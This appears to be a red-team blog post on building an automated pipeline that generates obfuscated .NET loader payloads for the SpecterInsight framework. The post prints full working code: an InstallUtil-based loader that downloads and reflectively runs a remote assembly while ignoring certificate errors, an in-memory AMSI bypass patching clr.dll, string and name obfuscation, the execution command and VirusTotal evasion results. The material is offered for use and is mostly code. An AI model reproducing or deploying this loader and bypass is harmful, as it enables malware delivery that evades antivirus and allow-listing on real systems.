Overview
In this post, we will build an automated pipeline for generating a .NET loader payload that can evade both AV detection and application controls.
The tools used in this post are:
What is a Payload Pipeline
A payload pipeline is an automated process for generating red team payloads that can evade detection by antivirus, EDR, and network defenders. Simply building and compiling a payload manually may be sufficient for one engagement, but it is not repeatable nor reliable for future engagements. Many AV vendors now ship all newly observed payloads to their private cloud where they are detonated, observed, disassembled, and analyzed by AI systems that classify the new payload as malicious or benign. Once a payload has been identified as malicious, new signatures are automatically deployed out within hours. This can disrupt red team operations and make it difficult to complete the objectives of the engagement.
To combat detection as a red team member, you need a process that can take a single, potentially signaturized, payload and transform it in some way to produce a unique payload that is resistant to detection.
Building the Pipeline
We are going to build a payload pipeline that will generate a RuntimeInstaller executable compatible with InstallUtil.exe, a LOLBin which can be used to bypass or evade detection. We’ll start by generating a C# source code template for the payload. We will then apply various code transformations using SpecterInsight utilities and finally compiling the obfuscated code with .NET Roslyn.
Defining the Parameters
Operators may want to change various aspects of payload generation such as the Anti-Malware Scan Interface bypass technique or the specific Stage 2 they want to sling into memory. SpecterInsight enables that by providing parameter blocks for the Payload Pipelines.
For this pipeline, I wanted to allow the operator to chose the desired AMSI bypass. The operator may want to change the bypass because the EDR in the environment detects and responds to the default one, but is unable to detect other techniques. Other times an operator may want to select a technique that should be detected in order to assess the defenses of the environment. Is it performing the way it is supposed to?
This choice can be done with the following parameter block:
param(
[Parameter(Mandatory = $false, Helpmessage = 'The type of payload to generate.')]
[ValidateSet('csharp_load_module_code', 'csharp_shellcode_inject_code', 'win_any')]
[string]$PayloadKind = 'win_any',
[Parameter(Mandatory = $false, Helpmessage = 'The AMSI bypass technique to run before loading the target .NET module.')]
[ValidateSet('PatchAmsiScanBuffer', 'AmsiScanBufferStringReplace', 'None')]
[SpecterInsight.Obfuscation.CSharp.AstTransforms.Bypasses.Techniques.CSharpAmsiBypassTechnique]$AmsiBypassTechnique = 'AmsiScanBufferStringReplace',
[Parameter(Mandatory = $false, HelpMessage = "The .NET Framework version to target.")]
[SpecterInsight.Obfuscation.CSharp.OutputTransforms.CSharpCompilerFrameworkVersion]$FrameworkVersion = 'Dotnet4'
)
Let’s break down the AmsiBypassTechnique parameter and talk about each part:
- ParameterAttribute: This attribute provides details about the behavior of the parameter.
- Mandatory: if true, requires the operator to specify a value.
- HelpMessage: A short description of the parameter and how it changes the behavior of the pipeline. Example values should also be presented here. This text will be displayed below the parameter in the UI.
- ValidateSetAttribute: this attribute signals that the input can only be values from the specified set. In this case, the set is a list of strings representing the names of the available AMSI bypass techniques. This attribute signals to the UI that the input should be a combo box.
- String: this describes the type of parameter. If the type is string, int, float, etc, the input with be a text box. If the type is an enum value, then a combo box will be generated with all of the possible enum values.
Now that we’ve built the parameter block, the SpecterInsight UI will build parameter input tab shown below:
Generating the Source Payload
The source code for a C# payload can be generated by the operator or by SpecterInsight. If an operator wanted to use their own C# source code, the could simply past the code in a multiline here-string. In this case, I’m going to use their Get-CsRuntimeInstallerLoadModuleFromURL cmdlet to generate a C# program to load a SpecterInsight payload.
This cmdlet has a number of options, but the most critical is to desire what the next stage will be. This cmdlet generates a loader, but it needs to know what to load. There are two options here: (1) load a .NET binary from a URL or (2) load a .NET binary from another SpecterInsight payload pipeline. In this case, I’m going to go with option #2 and utilize the win_any pipeline. The win_any pipeline returns the core SpecterInsight binary.
The commands below generate a RuntimeInstaller loader that will load the output from the win_any pipeline and stored that code as a variable.
#Sets the .NET Framework version to target
Set-CsFrameworkVersion -FrameworkVersion $FrameworkVersion;
#Generate the payload loader source. This will generate a loader that downloads in loads the output from the 'win_any' pipeline in memory.
$code = Get-CsRuntimeInstallerLoadModuleFromURL -Pipeline $PayloadKind;
First, I use the Set-CsFrameworkVersion cmdlet. That command will set the default .NET Framework version to target for the rest of the C# obfuscation and compilation cmdlets during the execution of the current pipeline. This is important because it impacts the compatibility of the output binary as well as the classes and methods available to the source code.
For example, if the source code depends upon a .NET Framework 4 method, than you can’t set the framework to .NET 2.0. It won’t compile. Also, if you do generate a .NET 2.0 payload, it should be able to execute on just about any Windows system; however, if .NET 2.0 is not installed on the system, you would need to drop a config file to make it run under .NET 4+. The most common use case is .NET 4+, but .NET 2.0 is supported by SpecterInsight if required.
Here is what the generated C# code looks like:
using System;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
public class LoaderProgram
{
public static void Main(string[] args)
{
Console.WriteLine("Invalid command.");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
base.Uninstall(savedState);
NetRunner.Runner.Join();
}
}
internal static class NetRunner
{
public static Thread Runner { get; set; }
static NetRunner()
{
NetRunner.Runner = new Thread(NetRunner.Run);
NetRunner.Runner.Start();
}
private static void Run()
{
byte[] contents = NetRunner.DownloadAssembly("https://localhost/static/resources/?build=02c6e088b39b4fc187594ef0607eb2f9&kind=win_any");
if (contents != null)
{
MethodInfo method = NetRunner.GetMethod(contents);
ParameterInfo[] parameters = method.GetParameters();
object[] args = null;
if (parameters.Length == 1 && parameters[0].ParameterType.Equals(typeof(string[])))
{
args = new object[]
{
new string[0]
};
}
method.Invoke(null, args);
}
}
public static MethodInfo GetMethod(byte[] binary)
{
Assembly assembly = Assembly.Load(binary);
return assembly.EntryPoint;
}
public static byte[] DownloadAssembly(string url)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += NetRunner.ServerCertificateValidationCallbackHandler;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType type = (SecurityProtocolType)0;
foreach (SecurityProtocolType option in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType modified = type | option;
try
{
ServicePointManager.SecurityProtocol = modified;
type = modified;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = type;
// Create a valid user agent string
string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
using (WebClient client = new WebClient())
{
client.Headers.Add("user-agent", userAgent);
return client.DownloadData(url);
}
}
private static bool ServerCertificateValidationCallbackHandler(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return true;
}
}
The entry point in the code show above is the Loader.Uninstall method. When the operator runs InstallUtil.exe with the /U option, then InstallUtil.exe will load the specified assembly into memory, instantiate the Loader class, and call the Uninstall method. That is where our loader picks up. This behavior is nice because our executable never needs to run. It gets loaded into InstallUtil.exe’s process and memory space. That’s what makes this technique good for bypassing Application Allow Listing.
Additionally, this can help mitigate dynamic analysis. If our payload gets submitted to a sandbox, the sandbox will likely try to run it as an executable which will trigger the LoaderProgram.Main method which does nothing. The sandbox would have to be aware/sensitive to the presence of a System.Configuration.Install.Installer and know to run the binary with InstallUtil.exe.
Adding an Anti-Malware Scan Interface Bypass
Next, we want to insert an AMSI bypass so that the Stage 2 binary doesn’t get scanned by the installed AV. We can do that with the Add-CsAmsiBypass. This cmdlet takes in a C# program and inserts code to execute an AMSI bypass in the operator specified method. The operator can either insert the code into the main method or a specific method by full path. In this case, we have to specify the method by full path because the RuntimeInstaller entry point is defined as a method other than Main. We then reference the AMSI bypass specified by the operator in the parameter block.
The resulting command looks like this:
#Insert the AMSI bypass if necessary
if($AmsiBypassTechnique -ne 'None') {
$code = $code | Add-CsAmsiBypass -Technique $AmsiBypassTechnique -Method 'NetRunner.NetRunner';
}
After inserting the bypass, there is now a new method call inserted at the beginning of the NetRunner.NetRunner static constructor.
static NetRunner()
{
Evasion.AmsiBypass.Apply();
NetRunner.Runner = new Thread(NetRunner.Run);
NetRunner.Runner.Start();
}
Additionally, the cmdlet added the Evasion namespace and AmsiBypass class. Here is what that code looks like. You may recognize this as the new AMSI bypass we published here: New AMSI Bypss Technique Modifying CLR.DLL in Memory. This cmdlet inserts that bypass and a method call to activate it.
namespace Evasion
{
public class AmsiBypass
{
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern void GetSystemInfo(ref SYSTEM_INFO lpSystemInfo);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualQuery(IntPtr lpAddress, ref MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("psapi.dll", SetLastError = true)]
private static extern uint GetMappedFileName(IntPtr hProcess, IntPtr lpv, StringBuilder lpFilename, uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
// Structs and constants
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_INFO
{
public ushort wProcessorArchitecture;
public ushort wReserved;
public uint dwPageSize;
public IntPtr lpMinimumApplicationAddress;
public IntPtr lpMaximumApplicationAddress;
public IntPtr dwActiveProcessorMask;
public uint dwNumberOfProcessors;
public uint dwProcessorType;
public uint dwAllocationGranularity;
public ushort wProcessorLevel;
public ushort wProcessorRevision;
}
[StructLayout(LayoutKind.Sequential)]
private struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
private const uint PAGE_READONLY = 0x02;
private const uint PAGE_READWRITE = 0x04;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint PAGE_EXECUTE_READ = 0x20;
private const uint PAGE_GUARD = 0x100;
private const uint MEM_COMMIT = 0x1000;
private const int MAX_PATH = 260;
public static void Apply()
{
IntPtr hProcess = GetCurrentProcess();
// Get system information
SYSTEM_INFO sysInfo = new SYSTEM_INFO();
GetSystemInfo(ref sysInfo);
// List of memory regions to scan
List<MEMORY_BASIC_INFORMATION> memoryRegions = new List<MEMORY_BASIC_INFORMATION>();
IntPtr address = IntPtr.Zero;
// Scan through memory regions
while (address.ToInt64() < sysInfo.lpMaximumApplicationAddress.ToInt64())
{
MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
if (AmsiBypass.VirtualQuery(address, ref memInfo, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))))
{
memoryRegions.Add(memInfo);
}
// Move to the next memory region
address = new IntPtr(address.ToInt64() + memInfo.RegionSize.ToInt64());
}
int count = 0;
//Loop through memory regions
foreach (MEMORY_BASIC_INFORMATION region in memoryRegions)
{
//Check if the region is readable and writable
if (!AmsiBypass.IsReadable(region.Protect, region.State))
{
continue;
}
//Scan the region for the AMSISCANBUFFER pattern
byte[] buffer = new byte[region.RegionSize.ToInt64()];
int bytesRead = 0;
AmsiBypass.ReadProcessMemory(hProcess, region.BaseAddress, buffer, (int)region.RegionSize.ToInt64(), out bytesRead);
//Check if the region contains a mapped file
StringBuilder pathBuilder = new StringBuilder(MAX_PATH);
if (AmsiBypass.GetMappedFileName(hProcess, region.BaseAddress, pathBuilder, MAX_PATH) > 0)
{
string path = pathBuilder.ToString();
if (path.EndsWith("clr.dll", StringComparison.InvariantCultureIgnoreCase))
{
for (int k = 0; k < bytesRead; k++)
{
if (AmsiBypass.PatternMatch(buffer, AmsiBypass.AMSISCANBUFFER, k))
{
uint oldProtect;
if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE)
{
AmsiBypass.VirtualProtect(region.BaseAddress, (uint)region.RegionSize.ToInt32(), PAGE_EXECUTE_READWRITE, out oldProtect);
}
byte[] replacement = new byte[AmsiBypass.AMSISCANBUFFER.Length];
int bytesWritten = 0;
AmsiBypass.WriteProcessMemory(hProcess, new IntPtr(region.BaseAddress.ToInt64() + k), replacement, replacement.Length, out bytesWritten);
count++;
if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE)
{
VirtualProtect(region.BaseAddress, (uint)region.RegionSize.ToInt32(), region.Protect, out oldProtect);
}
}
}
}
}
}
}
private static bool IsReadable(uint protect, uint state)
{
// Check if the memory protection allows reading
if (!((protect & PAGE_READONLY) == PAGE_READONLY || (protect & PAGE_READWRITE) == PAGE_READWRITE || (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE || (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ))
{
return false;
}
// Check if the PAGE_GUARD flag is set, which would make the page inaccessible
if ((protect & PAGE_GUARD) == PAGE_GUARD)
{
return false;
}
// Check if the memory state is committed
if ((state & MEM_COMMIT) != MEM_COMMIT)
{
return false;
}
return true;
}
private static bool PatternMatch(byte[] buffer, byte[] pattern, int index)
{
for (int i = 0; i < pattern.Length; i++)
{
if (buffer[index + i] != pattern[i])
{
return false;
}
}
return true;
}
public static readonly byte[] AMSISCANBUFFER = Encoding.UTF8.GetBytes("AmsiScanBuffer");
}
}
Obfuscating Strings
We can now begin applying obfuscation to the source code in order to mitigate any signatures that might be floating around various AVs. Our payload now contains some suspicious strings that could be signatured. These string will likely be stored in plain sight within one of the PE sections. We need some way to obfuscate those strings in such a way that the installed AV can’t see through it. Our obfuscation technique doesn’t need to be cryptographically secure, but it needs to be better than common techniques such as hex or base64 encoding. Some AVs can “see through” those strings to the underlying data.
public static readonly byte[] AMSISCANBUFFER = Encoding.UTF8.GetBytes("AmsiScanBuffer");
public static readonly byte[] AMSISCANBUFFER = Encoding.UTF8.GetBytes(StringVaultNamespace.StringVault.STR5);
This cmdlet also generates the StringVaultNamespace namespace and StringVault class that houses the obfuscated strings and is responsible for decoding them at runtime. You can see the STR5 property referenced in the replacement string above results in a method call to StringVault.Extract. The extraction method uses an offset to prevent the AV from being able to “see through” the hex encoding.
namespace StringVaultNamespace
{
public static class StringVault
{
private static readonly string _str0 = "BBE0E8D3DEDBD692D5E1DFDFD3E0D6A0";
public static string STR0
{
get
{
return StringVault.Extract(StringVault._str0);
}
}
private static readonly string _str1 = "DAE6E6E2E5ACA1A1DEE1D5D3DEDAE1E5E6A1E5E6D3E6DBD5A1E4D7E5E1E7E4D5D7E5A1B1D4E7DBDED6AFA2A4D5A8D7A2AAAAD4A5ABD4A6D8D5A3AAA9A7ABA6D7D8A2A8A2A9D7D4A4D8AB98DDDBE0D6AFE9DBE0D1D3E0EB";
public static string STR1
{
get
{
return StringVault.Extract(StringVault._str1);
}
}
private static readonly string _str2 = "BFE1ECDBDEDED3A1A7A0A2929AC9DBE0D6E1E9E592C0C692A3A2A0A2AD92C9DBE0A8A6AD92EAA8A69B92B3E2E2DED7C9D7D4BDDBE6A1A7A5A9A0A5A8929ABDBAC6BFBE9E92DEDBDDD792B9D7D5DDE19B92B5DAE4E1DFD7A1ABA3A0A2A0A6A6A9A4A0A3A4A692C5D3D8D3E4DBA1A7A5A9A0A5A8";
public static string STR2
{
get
{
return StringVault.Extract(StringVault._str2);
}
}
private static readonly string _str3 = "E7E5D7E49FD3D9D7E0E6";
public static string STR3
{
get
{
return StringVault.Extract(StringVault._str3);
}
}
private static readonly string _str4 = "D5DEE4A0D6DEDE";
public static string STR4
{
get
{
return StringVault.Extract(StringVault._str4);
}
}
private static readonly string _str5 = "B3DFE5DBC5D5D3E0B4E7D8D8D7E4";
public static string STR5
{
get
{
return StringVault.Extract(StringVault._str5);
}
}
private static string Extract(string hex)
{
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < hex.Length; i += 2)
{
byte temp = Convert.ToByte(hex.Substring(i, 2), 16);
temp = (byte)((byte.MaxValue + (int)temp - StringVault.SHIFT) % byte.MaxValue);
bytes[i / 2] = temp;
}
return Encoding.UTF8.GetString(bytes);
}
private const byte SHIFT = 114;
}
}
Obfuscating Class, Method, and Variable Names
The next step is to obfuscate class, method, and variable names. These cmdlets are pretty straight forward in generating new symbols to replace the old ones. This is done dynamically, so you could feed any C# program into the cmdlet and it will find and replace symbol names using .NET Roslyn. This is important because symbol names are baked into the compiled binary to support reflection.
$code = $code | Obfuscate-CsClasses;
$code = $code | Obfuscate-CsMethods;
$code = $code | Obfuscate-CsVariables;
Here is an example of the code before and after transformation.
internal static class NetRunner
{
public static byte[] DownloadAssembly(string url)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += NetRunner.ServerCertificateValidationCallbackHandler;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType type = (SecurityProtocolType)0;
foreach (SecurityProtocolType option in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType modified = type | option;
try
{
ServicePointManager.SecurityProtocol = modified;
type = modified;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = type;
// Create a valid user agent string
string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
using (WebClient client = new WebClient())
{
client.Headers.Add("user-agent", userAgent);
return client.DownloadData(url);
}
}
}
internal static class ImageResizer
{
public static byte[] StartTask(string createdBy)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += ImageResizer.ServerCertificateValidationCallbackHandler;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType weight = (SecurityProtocolType)0;
foreach (SecurityProtocolType errorMessage in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType httpResponse = weight | errorMessage;
try
{
ServicePointManager.SecurityProtocol = httpResponse;
weight = httpResponse;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = weight;
// Create a valid user agent string
string email = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
using (WebClient tempList = new WebClient())
{
tempList.Headers.Add("user-agent", email);
return tempList.DownloadData(createdBy);
}
}
}
Compiling
The last step is to compile the binary using Compile-CSharp. This cmdlet has the ability to compile to different payload types such as Windows app, Console app, and Dynamically Linked Library. It can also target different framework versions including: .NET 2.0, .NET 4.0, and .NET Standard 2.0 with support for cross-platform NativeAOT. InstallUtil.exe is specific to Windows, so we will generate a Console app with the previously specified FrameworkVersion set at the beginning of the script. This will return a .NET 4.0+ compatible executable that should run on any modern Windows system.
The output from Compile-CSharp is a byte[] representing the contents of the compiled executable. That array is returned to the PowerShell pipeline which SpecterInsight captures and returns to the requestor.
$code | Compile-CSharp -OutputType Console;
The Full Payload Pipeline
The code block below shows our complete payload pipeline.
param(
[Parameter(Mandatory = $false, Helpmessage = 'The type of payload to generate.')]
[ValidateSet('csharp_load_module_code', 'csharp_shellcode_inject_code', 'win_any')]
[string]$PayloadKind = 'win_any',
[Parameter(Mandatory = $false, Helpmessage = 'The AMSI bypass technique to run before loading the target .NET module.')]
[ValidateSet('PatchAmsiScanBuffer', 'AmsiScanBufferStringReplace', 'None')]
[SpecterInsight.Obfuscation.CSharp.AstTransforms.Bypasses.Techniques.CSharpAmsiBypassTechnique]$AmsiBypassTechnique = 'AmsiScanBufferStringReplace',
[Parameter(Mandatory = $false, HelpMessage = "The .NET Framework version to target.")]
[SpecterInsight.Obfuscation.CSharp.OutputTransforms.CSharpCompilerFrameworkVersion]$FrameworkVersion = 'Dotnet4'
)
Set-CsFrameworkVersion -FrameworkVersion $FrameworkVersion;
#Generate the payload source
$code = Get-CsRuntimeInstallerLoadModuleFromURL -Pipeline $PayloadKind;
#Insert the AMSI bypass if necessary
if($AmsiBypassTechnique -ne 'None') {
$code = $code | Bypass-CsAmsi -Technique $AmsiBypassTechnique -Method 'NetRunner.NetRunner';
}
$code = $code | Obfuscate-CsStrings;
$code = $code | Obfuscate-CsClasses;
$code = $code | Obfuscate-CsMethods;
$code = $code | Obfuscate-CsVariables;
$code | Compile-CSharp -OutputType Console;
Running the Pipeline
We can now run the pipeline in one of two ways: (1) using the SpecterInsight UI or (2) making a web request to download it. Both will trigger the pipeline and generate a newly obfuscated, detection resistant, payload.
Using the SpecterInsight UI
Within the SpecterInsight UI, you can use the Payload Pipeline Editor to configure, generate, and download new payloads. After opening the pipeline, you can fill out the Parameters Tab and click the “Test Pipeline” button. This will run the pipeline and generate output that will be displayed in the “Output” window. The blue “Download” button should not be available. You can simply click that button to download the file.
This pipeline takes less than a second to run and results in a compact, obfuscated, .NET binary. This incoudes all of the obfuscation and compilation steps as well. The resulting binary size depends upon the parameters and obfuscation techniques, but the filesize is generally less than 12 KiB.
Using PowerShell to Make a Web Request
If you need to automate this process or generate the payload from a shell, you can make a PowerShell request similar to the one below. The build must match the Id of an implant in SpecterInsight so that the pipeline knows what implant settings to reference.
$ByteArray = (Invoke-WebRequest -Uri 'https://localhost/static/resources/?build=02c6e088b39b4fc187594ef0607eb2f9&kind=cs_runtimeinstaller_load_module' -UseBasicParsing).Content
Executing the Payload
Once the payload has been dropped to disk, it can be run with the following command:
InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Users\helpdesk\Desktop\Workspace\installer.exe"
After executing the pipeline, we get a new interactive session within the context if the InstallUtil.exe process.
Pipeline Assessment
In order to properly assess this pipeline, we have to submit it to a cloud service for analysis. I say this for two reasons: (1) I expect the payloads we generate to run in production networks during engagements will get submitted to the cloud anyway and (2) the detection and analysis capabilities AV vendors’ cloud environments are much better at detecting malicious content than agents at the endpoint. To elaborate on point #2, I have seen payloads that don’t get detected in standalone, non-internet environments that immediately get caught and quarantined in a production, internet connected system. That is even with the same signature set and patch level. The cloud-enabled detection has a higher fidelity than the endpoint.
Assessment Plan
With that in mind, we need a pipeline that can repeatably work despite samples being submitted to the cloud… so our test must involve aa submission to a coud analysis system. In this case, I selected VirusTotal to get a good assessment of our evasion capabilities.
Hypothesis: If the number of AV detections is similar between different iterations of the same payload pipeline, then the pipeline was effective at repeatably mitigating detection.
Submission 1: 7 of 72 VirusTotal Detections
Here are the results of the first submission to VirusTotal. Only a handful are able to detect the loader as malicious.
Submission 1: 16 of 72 VirusTotal Detections
Here are the results from the second submission a few days later. The number of detections increased, but not dramatically, especially for a repeatable payload pipeline.
Future Work
While the payload is currently detected by several AV systems, there are likely some additional improvements that can be made. For example, there are some suspicious things about this payload:
- There is no install method in the installer binary, nor is there any actual installation code that you would expect to see.
- There are no “normal” looking strings. You would typically expect to see legitimate, human readable strings. Currently, all strings are obfuscated.
- The payload is small with very little content.
- There were a few static signatures found in VirusTotal related to reflectively loading an assembly and invoking a method dynamically.
- There are no imports. Many .NET programs have dependencies on external libraries. This program has none, which isn’t outright suspicious, but I’m sure that’s a feature these ML models are taking into consideration.
In the next version of SpecterInsight, we plan on addressing some of these issues. For example, we plan on releasing a new feature to embed a .NET loader in any C# code. This will allow operators to provide a legitimate installer code and inject a loader into it. The operator could then use the filtering capabilities of the obfuscation cmdlets to target only the suspicious strings, classes, namespaces, variable names, and method names and leave the legitimate installer data alone. This would help make the output payload more legitimate.
Additionally, we are looking to add a feature to generate C# program templates based on real-world programs that will yield a legitimate looking C# program that an operator can then inject a .NET loader.
Conclusion
That brings us to the end of this post. I have demonstrated how to build a repeatable payload generation and obfuscation pipeline to avoid AV detection. The initial script yielded fairly low true positive hits while still generating payloads that are significantly different than other iterations.
If course, this pipeline isn’t just limited to SpecterInsight payloads. You could build a payload pipeline for any implant framework you want, so this post should be relevant to any .NET payload.